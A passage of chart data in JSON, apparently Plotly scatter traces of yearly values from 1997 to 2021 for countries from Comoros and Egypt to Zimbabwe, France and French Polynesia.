27146.41, - 32497.02, - 30824.02, - 43479.76, - 55313.58, - 52248.33, - 51034.62, - 60413.17, - 61707.95, - 61283.03, - 76380.7, - 70319.64, - 65260.75, - 65212.25, - 67629.12 - ] - }, - { - "mode": "lines", - "name": "COMOROS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.25, - 0.04, - 0, - 1.15, - 0.9, - 0.32, - 0.48, - 0.15, - 3.88, - 7.03, - 2.06, - 0.33, - 0.68, - 8.56, - 2.96, - 8.02, - 6.59, - 11.3, - 15.1, - 25.65, - 37.27, - 32.39, - 19.65, - 12.48, - 11.18 - ] - }, - { - "mode": "lines", - "name": "EGYPT A RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 192.62, - 192.39, - 443.87, - 38.79, - 99.94, - 226.57, - 98.21, - 152.64, - 220.44, - 1739.74, - 1985.52, - 2121.33, - 1692.36, - 1354.56, - 3002.4, - 2553.47, - 2388.96, - 1741.77, - 1221.2, - 1163.77, - 1292.93, - 1677.82, - 2031.38, - 1892.4, - 2505.34 - ] - }, - { - "mode": "lines", - "name": "CONGO D. REP.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 32.1, - 6.53, - 0.18, - 0.28, - 0.12, - 0, - 0.09, - 2.54, - 14.21, - 16.97, - 13.83, - 117.06, - 144.71, - 9.82, - 0.91, - 0, - 47.29, - 126.45, - 97.76, - 85.92, - 225.42, - 19.01, - 32.13, - 10.16, - 13.13 - ] - }, - { - "mode": "lines", - "name": "CONGO P REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.33, - 6.74, - 0.97, - 8.48, - 1.8, - 3.25, - 5.28, - 21.97, - 43.94, - 59.94, - 104.51, - 487.28, - 545.2, - 543.33, - 257.48, - 454.72, - 89.53, - 365.52, - 201.64, - 156.52, - 198.81, - 405.65, - 587.5, - 245.94, - 758.03 - ] - }, - { - "mode": "lines", - "name": "COSTA RICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.34, - 1.49, - 0.88, - 0.88, - 1.27, - 5.29, - 25.61, - 35.47, - 37.86, - 43.93, - 88.01, - 73.05, - 93.62, - 95.33, - 204.16, - 219.72, - 203.99, - 155.3, - 62.21, - 58.83, - 67.28, - 50.56, - 48.71, - 47.25, - 48.23 - ] - }, - { - "mode": "lines", - "name": "COTE D' IVOIRE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 51.64, - 38.1, - 97.48, - 123.1, - 76.35, - 86.03, - 99.77, - 160.09, - 193.92, - 179.39, - 198.5, - 321.63, - 298.17, - 250.84, - 466.33, - 384.23, - 298.4, - 532.1, - 572.48, - 455.81, - 441.7, - 603.05, - 454.88, - 317.51, - 287.22 - ] - }, - { - "mode": "lines", - "name": "CUBA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 5.76, - 3.73, - 4.59, - 5, - 3.79, - 3.64, - 1.85, - 1.73, - 3.32, - 1.11, - 14.54, - 1.3, - 1.05, - 1.12, - 3.99, - 3.95, - 2.4, - 1.57, - 1.33, - 1.31, - 2.06, - 3.8, - 3.53, - 69.44, - 1 - ] - }, - { - "mode": "lines", - "name": "CYPRUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.19, - 0.57, - 1.95, - 1.23, - 6.35, - 2.77, - 2.6, - 4.83, - 25.53, - 112.88, - 142.99, - 158.25, - 14.1, - 20.4, - 27.61, - 21.27, - 20.31, - 22.82, - 48.18, - 66.59, - 13.46, - 393.78, - 74.43, - 23.98, - 66.1 - ] - }, - { - "mode": "lines", - "name": "CZECH REPUBLIC", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 42.33, - 44.13, - 39.45, - 36.41, - 38.63, - 85.48, - 111.84, - 175.34, - 260.38, - 353.71, - 447.73, - 491.87, - 562.45, - 676.78, - 718.88, - 644.26, - 517.97, - 517.87, - 507.89, - 539.25, - 669.54, - 258.84, - 299.42, - 393.12, - 455.6 - ] - }, - { - "mode": "lines", - "name": "DENMARK", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 90.76, - 99.7, - 135.42, - 142.5, - 120.61, - 143.36, - 225.6, - 270.22, - 515.94, - 339.7, - 464.54, - 477.45, - 592.37, - 472.82, - 614.29, - 541.71, - 445.1, - 457.95, - 428.54, - 481.55, - 564.55, - 537.3, - 632.4, - 589.13, - 495.65 - ] - }, - { - "mode": "lines", - "name": "DJIBOUTI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.15, - 0.02, - 0.22, - 0.45, - 0.74, - 0.82, - 1.19, - 3.12, - 3.35, - 2.15, - 4.57, - 3.66, - 1.17, - 2.41, - 2.15, - 5.18, - 4.15, - 1.47, - 1.23, - 2.82, - 5.44, - 15.82, - 19.54, - 20.16, - 30.87 - ] - }, - { - "mode": "lines", - "name": "DOMINIC REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.04, - 0.43, - 0.1, - 0, - 0.12, - 1.74, - 2.76, - 5.34, - 1.81, - 2.82, - 10.11, - 9.5, - 15.77, - 6.61, - 10.81, - 12.5, - 290.66, - 478.62, - 674.86, - 645.81, - 566.57, - 361.11, - 256.94, - 502.99 - ] - }, - { - "mode": "lines", - "name": "DOMINICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0, - 0, - 4.67, - 0.07, - 0.01, - 0.11, - 0.34, - 0.17, - 0.38, - 1.07, - 0.61, - 0.48, - 0.34, - 0.26, - 1.58, - 0.07, - 0.1, - 0.1, - 0.77, - 0.28, - 0.31, - 0.25, - 0.25, - 0.19 - ] - }, - { - "mode": "lines", - "name": "BULGARIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 11.59, - 2.17, - 38.53, - 13.05, - 16.14, - 8.45, - 11.14, - 17.96, - 24.06, - 77.15, - 121.06, - 61.14, - 32.63, - 57.58, - 101.12, - 90.09, - 93.65, - 103.66, - 93.72, - 182.22, - 141.94, - 125.66, - 144.06, - 125.38, - 105 - ] - }, - { - "mode": "lines", - "name": "BRUNEI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.05, - 0.11, - 0.15, - 0.36, - 0.32, - 0.34, - 0.54, - 0.88, - 285.38, - 227.24, - 397.52, - 428.65, - 234.17, - 605.02, - 814.8, - 763.6, - 840.88, - 554.02, - 627.85, - 434.83, - 591.1, - 586.28, - 329.25, - 329 - ] - }, - { - "mode": "lines", - "name": "BRAZIL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 199.21, - 195.81, - 330.89, - 145.17, - 308.17, - 316.79, - 313.52, - 792.4, - 893.06, - 992.35, - 949.95, - 1185.96, - 3437.97, - 3548.88, - 4271.47, - 4825.76, - 3720.94, - 5400.91, - 4040.09, - 4114.69, - 5498.22, - 4406.43, - 3074.97, - 3015.99, - 4200.9 - ] - }, - { - "mode": "lines", - "name": "BR VIRGN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.09, - 0, - 0, - 0.19, - 19.38, - 0.17, - 0.33, - 0.17, - 0.87, - 0.42, - 0.97, - 0.16, - 0.82, - 1.55, - 6.72, - 0.88, - 16.83, - 8.57, - 11.03, - 13.83 - ] - }, - { - "mode": "lines", - "name": "ALGERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.58, - 0.47, - 17.06, - 2.6, - 1.41, - 1.11, - 4.47, - 6.31, - 14.65, - 755.46, - 1238.95, - 1052.57, - 995.32, - 1816.19, - 2111.43, - 683.55, - 860.9, - 551.82, - 299.44, - 605.12, - 1260.98, - 1696.96, - 1996.76, - 408.79, - 545.1 - ] - }, - { - "mode": "lines", - "name": "AMERI SAMOA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.06, - 0, - 0, - 0, - 0, - 0.42, - 0, - 0.05, - 0.29, - 83.73, - 1.13, - 0.24, - 0.35, - 0.15, - 1.41, - 0.78, - 0.13, - 0.67, - 1.13, - 0.14, - 0.3, - 0, - 3.08, - 0.96, - 0 - ] - }, - { - "mode": "lines", - "name": "ANDORRA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.07, - 0, - 0, - 0, - 0, - 0, - 0.02, - 0, - 0.03, - 0.01, - 0.09, - 0, - 0.01, - 0.03, - 0.01, - 0, - 5.28, - 0, - 0.09, - 0, - 0.04, - 0.03, - 0.01, - 0 - ] - }, - { - "mode": "lines", - "name": "ANGOLA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.01, - 7.2, - 0, - 0.91, - 3.25, - 244.71, - 1024.74, - 1386.25, - 4242.79, - 5112.12, - 6625.07, - 7157.54, - 5992.31, - 4617.64, - 2766.81, - 2596.49, - 4323.85, - 4027.49, - 3649.02, - 1879.74, - 1729.5 - ] - }, - { - "mode": "lines", - "name": "ANTIGUA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.01, - 0, - 0, - 0.46, - 0.01, - 0.12, - 1.14, - 0.06, - 0.07, - 0.01, - 15.63, - 0.06, - 0.23, - 0.04, - 0.49, - 0.01, - 0, - 0.02, - 0.15, - 0.2, - 0.14, - 0.13 - ] - }, - { - "mode": "lines", - "name": "ARGENTINA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 128.19, - 339.29, - 347.47, - 380.76, - 436, - 404.14, - 523.96, - 539.59, - 754.04, - 876, - 906.84, - 499.07, - 672.21, - 1022.73, - 1105.55, - 1198.71, - 1338.35, - 1992.25, - 2471.52, - 2500.75, - 2229.2, - 1954.99, - 2327.26, - 2627.05, - 3319.92 - ] - }, - { - "mode": "lines", - "name": "ARMENIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.02, - 0, - 0.56, - 0.45, - 0.16, - 0.66, - 0.78, - 2.08, - 77.06, - 3.79, - 2.78, - 2.96, - 7.07, - 6.16, - 1.48, - 1.7, - 0.82, - 14.04, - 1.05, - 0.65, - 0.91, - 1.56, - 96.46, - 100.55 - ] - }, - { - "mode": "lines", - "name": "AUSTRALIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1485.56, - 1445.01, - 1081.76, - 1062.76, - 1306.1, - 1336.79, - 2649.22, - 3824.53, - 4947.91, - 6999.59, - 7815.32, - 11098.07, - 12407.37, - 10789, - 15578.52, - 13085.7, - 9822.52, - 10247.24, - 8898.78, - 11154.48, - 13993.75, - 13131.21, - 9782.22, - 8247.3, - 12106.69 - ] - }, - { - "mode": "lines", - "name": "AUSTRIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 81.13, - 59.64, - 66.59, - 69.32, - 77.82, - 164.21, - 201.67, - 262.34, - 344.02, - 456.84, - 585.94, - 701.64, - 789.37, - 817.07, - 1081.12, - 929.22, - 828.77, - 815.92, - 827.11, - 908.34, - 973.33, - 716.43, - 629.74, - 623.1, - 598.22 - ] - }, - { - "mode": "lines", - "name": "AZERBAIJAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.1, - 0.02, - 0.39, - 0.13, - 0.22, - 1.73, - 3.02, - 7.71, - 5.86, - 67.56, - 173.88, - 194.62, - 284.83, - 203.48, - 675, - 521.39, - 1136.83, - 198.54, - 77.09, - 461.67, - 592.61, - 147.87, - 273.91, - 229.07, - 10.17 - ] - }, - { - "mode": "lines", - "name": "BAHAMAS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.06, - 0.03, - 0.02, - 0.08, - 0.67, - 0.36, - 0.07, - 45.4, - 0.21, - 12.13, - 0.25, - 40.37, - 0.48, - 4.5, - 3.54, - 102.28, - 494.21, - 0.67, - 77.23, - 258.82, - 40.26, - 39.21, - 14.7, - 35.84, - 2.73 - ] - }, - { - "mode": "lines", - "name": "BAHARAIN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 132.93, - 470.44, - 159.17, - 202.53, - 134.01, - 121.13, - 74.52, - 121.87, - 189.56, - 471.23, - 835.42, - 1442.82, - 502.86, - 641.25, - 905.98, - 664.66, - 563.24, - 446.25, - 356.9, - 290.69, - 431.12, - 539.63, - 421.5, - 547.49, - 575.25 - ] - }, - { - "mode": "lines", - "name": "BANGLADESH PR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 50.81, - 62.4, - 78.15, - 80.51, - 59.12, - 62.05, - 77.63, - 59.37, - 127.03, - 228, - 257.02, - 313.11, - 254.66, - 446.75, - 585.73, - 639.33, - 484.34, - 621.37, - 727.15, - 701.68, - 685.65, - 1044.8, - 1264.74, - 1091.66, - 1479.13 - ] - }, - { - "mode": "lines", - "name": "BARBADOS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.09, - 0.04, - 0.03, - 0.01, - 0.01, - 0.05, - 0.01, - 0.04, - 0.15, - 0.03, - 0.08, - 0.2, - 0.15, - 0.79, - 0.1, - 0.11, - 0.17, - 0.17, - 0.18, - 0.2, - 1.74, - 1.48, - 0.61, - 0.57 - ] - }, - { - "mode": "lines", - "name": "BELARUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.08, - 0.32, - 1.54, - 2.09, - 4.95, - 7.1, - 6.74, - 12.32, - 37.86, - 93.61, - 124.87, - 279.65, - 432.14, - 204.3, - 178.17, - 214.55, - 157.77, - 182.16, - 164.9, - 170.57, - 207.81, - 227.19, - 147.44, - 287.65, - 258.47 - ] - }, - { - "mode": "lines", - "name": "BELGIUM", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2668.08, - 2876.8, - 3681.27, - 2870.05, - 2763, - 3711.93, - 3975.89, - 4588.91, - 4725.14, - 4146.19, - 4349.93, - 5776.77, - 6019.2, - 8609.82, - 10401.43, - 10046.87, - 10752.04, - 10805.92, - 8256.06, - 6624.63, - 5993.41, - 10469.22, - 8879.46, - 6940.68, - 7363.58 - ] - }, - { - "mode": "lines", - "name": "BELIZE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.26, - 0.48, - 0, - 0.01, - 0.03, - 5.81, - 13.69, - 0.11, - 0.38, - 0.21, - 0.08, - 0.21, - 1.55, - 0.21, - 1.01, - 0.52, - 1.36, - 0.65, - 0.96, - 0.5, - 0.39 - ] - }, - { - "mode": "lines", - "name": "BENIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 13.51, - 12.83, - 42.74, - 52.08, - 43.05, - 38.19, - 53.19, - 79.79, - 77.47, - 80.18, - 71.59, - 112.62, - 123.83, - 153.43, - 261.21, - 245.73, - 167.61, - 222.12, - 275.66, - 207.4, - 223.02, - 375.81, - 358.94, - 325.97, - 332.79 - ] - }, - { - "mode": "lines", - "name": "BERMUDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.84, - 0.69, - 0, - 0.27, - 0, - 0, - 1.3, - 0.04, - 0.54, - 0.39, - 64.02, - 0.2, - 0, - 0, - 0.04, - 0, - 0.09, - 0, - 0.02, - 0, - 7.69, - 2.48, - 0.04, - 0 - ] - }, - { - "mode": "lines", - "name": "BHUTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 13.44, - 6.13, - 18.01, - 21.09, - 23.92, - 32.15, - 52.37, - 71, - 88.77, - 142.05, - 194.72, - 151.79, - 153.11, - 201.57, - 202.55, - 164, - 152.17, - 149.87, - 281.27, - 307.82, - 377.99, - 370.96, - 405.73, - 433, - 444.51 - ] - }, - { - "mode": "lines", - "name": "BOLIVIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.04, - 0.04, - 14.36, - 2.72, - 1.03, - 1.73, - 0.21, - 0.94, - 2.96, - 3.55, - 7.4, - 3.36, - 6.69, - 4.06, - 7.41, - 2.42, - 3.56, - 240.25, - 173.54, - 667.25, - 852.21, - 845.88, - 1159.14, - 1517.07 - ] - }, - { - "mode": "lines", - "name": "BOSNIA-HRZGOVIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.01, - 0.35, - 0.06, - 3.31, - 2.04, - 0.12, - 0.39, - 0.42, - 12.23, - 1.31, - 0.5, - 19.09, - 18.45, - 19.82, - 1.66, - 4.26, - 4.4, - 3.32, - 8.75, - 2.45, - 3.33, - 1.92, - 2.19 - ] - }, - { - "mode": "lines", - "name": "BOTSWANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 2.11, - 0, - 0, - 0.01, - 0.05, - 0.42, - 0.14, - 0.06, - 0, - 21.08, - 7.08, - 26.77, - 51.39, - 57.61, - 382.98, - 1012.89, - 542.23, - 1307.39, - 1638.29, - 974.48, - 744, - 461.72, - 421.77 - ] - }, - { - "mode": "lines", - "name": "ECUADOR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 5.17, - 0.89, - 8.64, - 7.7, - 4.6, - 2.12, - 5.84, - 22.94, - 20.33, - 49.47, - 217.15, - 32.26, - 67.02, - 169.11, - 44.27, - 872.54, - 255.43, - 1065.74, - 563.77, - 355.99, - 193.97, - 219.25, - 361.6, - 333.25, - 877.89 - ] - }, - { - "mode": "lines", - "name": "CROATIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.09, - 0.99, - 0.22, - 1.01, - 0.99, - 0.64, - 7.45, - 2.06, - 29.49, - 57.25, - 18.45, - 15.42, - 26.89, - 28.06, - 24.09, - 18.05, - 9.72, - 28.65, - 36, - 25.36, - 32.05, - 38.92, - 57.18, - 42.81, - 50.42 - ] - }, - { - "mode": "lines", - "name": "ZIMBABWE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 17.23, - 14.9, - 14.03, - 8.34, - 18.49, - 14.04, - 16.42, - 27.15, - 25.55, - 32.25, - 22.22, - 13.77, - 21.1, - 11.62, - 2.89, - 34.54, - 12.5, - 32.7, - 24.45, - 60.46, - 62.2, - 7.79, - 13.59, - 5.71, - 1.69 - ] - }, - { - "mode": "lines", - "name": "FRANCE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 784.98, - 719.6, - 711.81, - 640.81, - 844.25, - 1094.18, - 1090.23, - 1894.1, - 4113.3, - 4212.42, - 6265.76, - 4632.48, - 4192.17, - 3704.57, - 4332.78, - 4652.36, - 3691.89, - 4416.08, - 3730.31, - 5707.77, - 6524.16, - 6665.67, - 6168.82, - 4343.22, - 3817.49 - ] - }, - { - "mode": "lines", - "name": "HAITI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.04, - 0.48, - 1.02, - 0.29, - 1.16, - 1.97, - 1.7, - 1.37, - 1.33, - 1.97, - 1.32, - 0.95, - 1.57, - 3.28, - 3.61, - 8.26, - 13.75, - 13.94, - 13.47, - 16.1 - ] - }, - { - "mode": "lines", - "name": "FR POLYNESIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.01, - 0.02, - 0.03, - 0.02, - 0.1, - 0.81, - 0.01, - 